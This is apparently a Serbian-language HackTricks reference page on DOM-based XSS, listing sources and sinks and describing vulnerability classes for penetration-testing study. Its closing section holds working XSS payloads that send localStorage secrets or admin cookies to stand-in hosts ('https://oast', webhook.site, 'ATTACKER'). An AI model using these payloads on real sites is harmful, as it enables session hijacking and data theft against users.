DOM XSS
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
DOM ranjivosti
DOM ranjivosti nastaju kada se podaci pod kontrolom napadača iz sources (npr. location.search, document.referrer, ili document.cookie) nesigurno prebace u sinks. Sinks su funkcije ili objekti (npr. eval(), document.body.innerHTML) koji mogu izvršiti ili prikazati štetan sadržaj ako dobiju zlonamerne podatke.
- Sources su unosi koje napadači mogu manipulisati, uključujući URL-ove, cookies i web poruke.
- Sinks su potencijalno opasni endpoints gde zlonamerni podaci mogu dovesti do neželjenih efekata, kao što je izvršavanje skripti.
Rizik nastaje kada podaci teku iz source-a ka sink-u bez adekvatne validacije ili sanitacije, što omogućava napade poput XSS.
Tip
Možete pronaći ažuriraniju listu sources i sinks na https://github.com/wisec/domxsswiki/wiki
Common sources:
document.URL
document.documentURI
document.URLUnencoded
document.baseURI
location
document.cookie
document.referrer
window.name
history.pushState
history.replaceState
localStorage
sessionStorage
IndexedDB(mozIndexedDB, webkitIndexedDB, msIndexedDB)
Database
Common Sinks:
| Open Redirect | Javascript Injection | DOM-data manipulation | jQuery |
|---|---|---|---|
location | eval() | scriptElement.src | add() |
location.host | Function() constructor | scriptElement.text | after() |
location.hostname | setTimeout() | scriptElement.textContent | append() |
location.href | setInterval() | scriptElement.innerText | animate() |
location.pathname | setImmediate() | someDOMElement.setAttribute() | insertAfter() |
location.search | execCommand() | someDOMElement.search | insertBefore() |
location.protocol | execScript() | someDOMElement.text | before() |
location.assign() | msSetImmediate() | someDOMElement.textContent | html() |
location.replace() | range.createContextualFragment() | someDOMElement.innerText | prepend() |
open() | crypto.generateCRMFRequest() | someDOMElement.outerText | replaceAll() |
domElem.srcdoc | ``Local file-path manipulation | someDOMElement.value | replaceWith() |
XMLHttpRequest.open() | FileReader.readAsArrayBuffer() | someDOMElement.name | wrap() |
XMLHttpRequest.send() | FileReader.readAsBinaryString() | someDOMElement.target | wrapInner() |
jQuery.ajax() | FileReader.readAsDataURL() | someDOMElement.method | wrapAll() |
$.ajax() | FileReader.readAsText() | someDOMElement.type | has() |
| ``Ajax request manipulation | FileReader.readAsFile() | someDOMElement.backgroundImage | constructor() |
XMLHttpRequest.setRequestHeader() | FileReader.root.getFile() | someDOMElement.cssText | init() |
XMLHttpRequest.open() | FileReader.root.getFile() | someDOMElement.codebase | index() |
XMLHttpRequest.send() | Link manipulation | someDOMElement.innerHTML | jQuery.parseHTML() |
jQuery.globalEval() | someDOMElement.href | someDOMElement.outerHTML | $.parseHTML() |
$.globalEval() | someDOMElement.src | someDOMElement.insertAdjacentHTML | Client-side JSON injection |
| ``HTML5-storage manipulation | someDOMElement.action | someDOMElement.onevent | JSON.parse() |
sessionStorage.setItem() | XPath injection | document.write() | jQuery.parseJSON() |
localStorage.setItem() | document.evaluate() | document.writeln() | $.parseJSON() |
**[**`Denial of Service`**](dom-xss.md#denial-of-service)** | someDOMElement.evaluate() | document.title | ``Cookie manipulation |
requestFileSystem() | ``Document-domain manipulation | document.implementation.createHTMLDocument() | document.cookie |
RegExp() | document.domain | history.pushState() | WebSocket-URL poisoning |
| Client-Side SQl injection | Web-message manipulation | history.replaceState() | WebSocket |
executeSql() | postMessage() | `` | `` |
The innerHTML sink ne prihvata script elemente u nijednom modernom browseru, niti će svg onload događaji biti aktivirani. To znači da ćete morati da koristite alternativne elemente kao što su img ili iframe.
Ovaj tip XSS-a je verovatno najteži za pronalaženje, jer morate da pogledate unutar JS koda, proverite da li on koristi neki objekat čiju vrednost vi kontrolišete, i u tom slučaju vidite postoji li bilo koji način da ga zloupotrebite da izvršite proizvoljan JS.
Alati za pronalaženje
- https://github.com/mozilla/eslint-plugin-no-unsanitized
- Ekstenzija za browser koja proverava sve podatke koji stignu do potencijalnog sinka: https://github.com/kevin-mizu/domloggerpp
Primeri
Open Redirect
From: https://portswigger.net/web-security/dom-based/open-redirection
Open redirect vulnerabilities in the DOM se javljaju kada skripta upiše podatke, koje napadač može kontrolisati, u sink koji može pokrenuti navigaciju između domena.
Ključno je razumeti da je izvršavanje proizvoljnog koda, kao na primer javascript:alert(1), moguće ako imate kontrolu nad početkom URL-a na kojem se preusmeravanje događa.
Sinks:
location
location.host
location.hostname
location.href
location.pathname
location.search
location.protocol
location.assign()
location.replace()
open()
domElem.srcdoc
XMLHttpRequest.open()
XMLHttpRequest.send()
jQuery.ajax()
$.ajax()
Cookie manipulation
From: https://portswigger.net/web-security/dom-based/cookie-manipulation
DOM-based cookie-manipulation vulnerabilities javljaju se kada skripta ugrađuje podatke, kojima napadač može upravljati, u vrednost cookie-ja. Ova ranjivost može dovesti do neočekivanog ponašanja veb-stranice ako se cookie koristi unutar sajta. Pored toga, može se iskoristiti za izvođenje session fixation attack ako cookie učestvuje u praćenju korisničkih sesija. Primarni sink povezan sa ovom ranjivošću je:
Sinks:
document.cookie
JavaScript Injection
From: https://portswigger.net/web-security/dom-based/javascript-injection
DOM-based JavaScript injection vulnerabilities nastaju kada skripta izvršava podatke, koje napadač može kontrolisati, kao JavaScript kod.
Sinks:
eval()
Function() constructor
setTimeout()
setInterval()
setImmediate()
execCommand()
execScript()
msSetImmediate()
range.createContextualFragment()
crypto.generateCRMFRequest()
Document-domain manipulation
Izvor: https://portswigger.net/web-security/dom-based/document-domain-manipulation
Document-domain manipulation vulnerabilities se javljaju kada skripta postavi svojstvo document.domain koristeći podatke koje napadač može kontrolisati.
Svojstvo document.domain igra ključnu ulogu u sprovođenju same-origin policy od strane pregledača. Kada dve stranice iz različitih porekla postave svoj document.domain na istu vrednost, mogu da međusobno komuniciraju bez ograničenja. Iako pregledači nameću određena ograničenja na vrednosti dodeljive document.domain, sprečavajući dodeljivanje potpuno nepovezanih vrednosti stvarnom poreklu stranice, postoje izuzeci. Tipično, pregledači dozvoljavaju korišćenje podređenih ili nadređenih domena.
Sinks:
document.domain
WebSocket-URL poisoning
From: https://portswigger.net/web-security/dom-based/websocket-url-poisoning
WebSocket-URL poisoning se dešava kada skripta koristi podatke koje je moguće kontrolisati kao ciljni URL za WebSocket konekciju.
Sinks:
The WebSocket constructor can lead to WebSocket-URL poisoning vulnerabilities.
Link manipulation
From: https://portswigger.net/web-security/dom-based/link-manipulation
DOM-based link-manipulation vulnerabilities nastaju kada skripta upisuje podatke pod kontrolom napadača u navigacioni cilj unutar trenutne stranice, kao što je klikabilan link ili URL za slanje formulara.
Sinks:
someDOMElement.href
someDOMElement.src
someDOMElement.action
Ajax request manipulation
Izvor: https://portswigger.net/web-security/dom-based/ajax-request-header-manipulation
Ajax request manipulation vulnerabilities nastaju kada skripta upisuje attacker-controllable data into an Ajax request koji se šalje koristeći XmlHttpRequest objekat.
Sinks:
XMLHttpRequest.setRequestHeader()
XMLHttpRequest.open()
XMLHttpRequest.send()
jQuery.globalEval()
$.globalEval()
Local file-path manipulation
From: https://portswigger.net/web-security/dom-based/local-file-path-manipulation
Local file-path manipulation vulnerabilities nastaju kada skripta prosledi attacker-controllable data to a file-handling API kao parametar filename. Ova ranjivost se može iskoristiti tako što napadač konstruiše URL koji, ako ga poseti drugi korisnik, može dovesti do otvaranja ili upisivanja proizvoljne lokalne datoteke u korisnikovom pregledaču.
Sinks:
FileReader.readAsArrayBuffer()
FileReader.readAsBinaryString()
FileReader.readAsDataURL()
FileReader.readAsText()
FileReader.readAsFile()
FileReader.root.getFile()
FileReader.root.getFile()
Klijentska SQL injection
From: https://portswigger.net/web-security/dom-based/client-side-sql-injection
Client-side SQL-injection vulnerabilities se javljaju kada skripta ubacuje podatke pod kontrolom napadača u SQL upit na strani klijenta na nesiguran način.
Sinks:
executeSql()
HTML5-storage manipulation
From: https://portswigger.net/web-security/dom-based/html5-storage-manipulation
HTML5-storage manipulation vulnerabilities nastaju kada skripta smešta podatke kojima napadač može da upravlja u HTML5 storage web pregledača (localStorage or sessionStorage). Iako ova radnja sama po sebi nije inherentno bezbednosna ranjivost, postaje problematična ako aplikacija naknadno čita sačuvane podatke i obrađuje ih na nesiguran način. Ovo može omogućiti napadaču da iskoristi mehanizam skladištenja za izvođenje drugih DOM-based attacks, kao što su cross-site scripting i JavaScript injection.
Sinks:
sessionStorage.setItem()
localStorage.setItem()
XPath injection
Izvor: https://portswigger.net/web-security/dom-based/client-side-xpath-injection
DOM-based XPath-injection vulnerabilities javljaju se kada skripta ubacuje attacker-controllable data into an XPath query.
Sinks:
document.evaluate()
someDOMElement.evaluate()
JSON injection na strani klijenta
Izvor: https://portswigger.net/web-security/dom-based/client-side-json-injection
DOM-based JSON-injection vulnerabilities se javljaju kada skripta ugradi podatke koje kontroliše napadač u niz koji se parsira kao JSON struktura podataka i zatim obrađuje aplikacija.
Sinks:
JSON.parse()
jQuery.parseJSON()
$.parseJSON()
Web-message manipulation
Izvor: https://portswigger.net/web-security/dom-based/web-message-manipulation
Web-message vulnerabilities nastaju kada skripta šalje podatke koje napadač može kontrolisati kao web message drugom dokumentu u okviru browser-a. Primer ranjive Web-message manipulation možete pronaći na PortSwigger’s Web Security Academy.
Sinks:
The postMessage() method for sending web messages can lead to vulnerabilities if the event listener for receiving messages handles the incoming data in an unsafe way.
DOM-data manipulation
Izvor: https://portswigger.net/web-security/dom-based/dom-data-manipulation
DOM-data manipulation vulnerabilities nastaju kada skripta upisuje podatke koje napadač može kontrolisati u polje unutar DOM-a koji se koristi u vidljivom UI ili client-side logici. Ova ranjivost može biti iskorišćena od strane napadača da konstruše URL koji, ako ga poseti drugi korisnik, može promeniti izgled ili ponašanje client-side UI.
Sinks:
scriptElement.src
scriptElement.text
scriptElement.textContent
scriptElement.innerText
someDOMElement.setAttribute()
someDOMElement.search
someDOMElement.text
someDOMElement.textContent
someDOMElement.innerText
someDOMElement.outerText
someDOMElement.value
someDOMElement.name
someDOMElement.target
someDOMElement.method
someDOMElement.type
someDOMElement.backgroundImage
someDOMElement.cssText
someDOMElement.codebase
document.title
document.implementation.createHTMLDocument()
history.pushState()
history.replaceState()
Denial of Service
From: https://portswigger.net/web-security/dom-based/denial-of-service
DOM-based denial-of-service vulnerabilities se javljaju kada skripta nesigurno prosledi attacker-controllable data unsafely to a problematic platform API. To obuhvata API-je koji, kada se pozovu, mogu naterati korisnikov računar da potroši prekomerne količine CPU-a ili prostora na disku. Takve ranjivosti mogu imati značajne neželjene efekte, kao što je da pregledač ograniči funkcionalnost veb-sajta odbijajući pokušaje da se podaci sačuvaju u localStorage ili prekidajući zauzete skripte.
Sinks:
requestFileSystem()
RegExp()
Dom Clobbering
Implicitni globali & zloupotreba window.name
Referenciranje name bez deklaracije (var/let/const) odgovara window.name. Pošto window.name opstaje kroz cross-origin navigations, napadač može prethodno popuniti ime browsing konteksta HTML/JS-om i kasnije navesti kod žrtve da ga prikaže kao pouzdane podatke:
- Otvori/navigiraj cilj u imenovanom kontekstu koji kontrolišeš:
<iframe name="<img src=x onerror=fetch('https://oast/?f='+btoa(localStorage.flag))>" src="https://target/page"></iframe>
- Ili ponovo iskoristite
window.opensa pažljivo konstruisanim target imenom:
window.open('https://target/page', "<svg/onload=alert(document.domain)>")
Ako aplikacija kasnije uradi element.innerHTML = name (ili sličan sink) bez sanitizacije, napadačem kontrolisan window.name string se izvršava u ciljnom originu, omogućavajući DOM XSS i pristup skladištu istog porekla.
Tokovi za admin/automatizaciju: prethodno popunjeno skladište & javascript: navigacija
Automatizovani botovi (npr. Playwright) često prvo posete internu stranicu, postave tajne u localStorage/cookies, pa zatim navigiraju ka URL-ovima koje je dostavio korisnik. Bilo koji DOM XSS primitiv (uključujući zloupotrebu window.name) u tom toku može exfiltrate prethodno postavljenu tajnu:
fetch('https://webhook.site/<id>?flag=' + encodeURIComponent(localStorage.getItem('flag')))
Ako bot ne ograničava sheme, slanje javascript: URL-a (javascript:fetch(...)) se izvršava u trenutnom originu bez nove navigacije, direktno leaking storage values.
Template literal innerHTML + delimični propusti u sanitizaciji
Frontend-ovi koji sanitizuju samo odabrana polja, ali i dalje interpoliraju nepouzdano polje direktno u innerHTML, trivijalno su iskoristivi. Primer:
fetch(`${window.location.origin}/admin/bug_reports`).then(r => r.json()).then(reports => {
reports.forEach(report => {
reportCard.innerHTML = `
<div>${DOMPurify.sanitize(report.id)}</div>
<div>${report.details}</div> <!-- unsanitized sink -->
`;
});
});
Ako nesanitizovano polje bude sačuvano server-side (npr. bug report “details”), payload postaje stored DOM XSS za bilo kog privilegovanog pregledaoca liste. Jednostavan payload poput <img src=x onerror=fetch('http://ATTACKER/?c='+document.cookie)> izvršava se kada admin otvori stranicu i eksfiltrira njihove cookies.
Kada aplikacija eksplicitno onemogući SESSION_COOKIE_HTTPONLY (npr. Flask app.config['SESSION_COOKIE_HTTPONLY'] = False), ukradeni cookie odmah dodeljuje admin sesiju čak i ako se signing secret rotira pri svakom bootu (random secret_key sprečava forging, ali theft i dalje radi).
Referencije
- Flagvent 2025 (Medium) — pink, Santa’s Wishlist, Christmas Metadata, Captured Noise
- HTB: Imagery (stored DOM XSS via partial DOMPurify + session theft)
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.


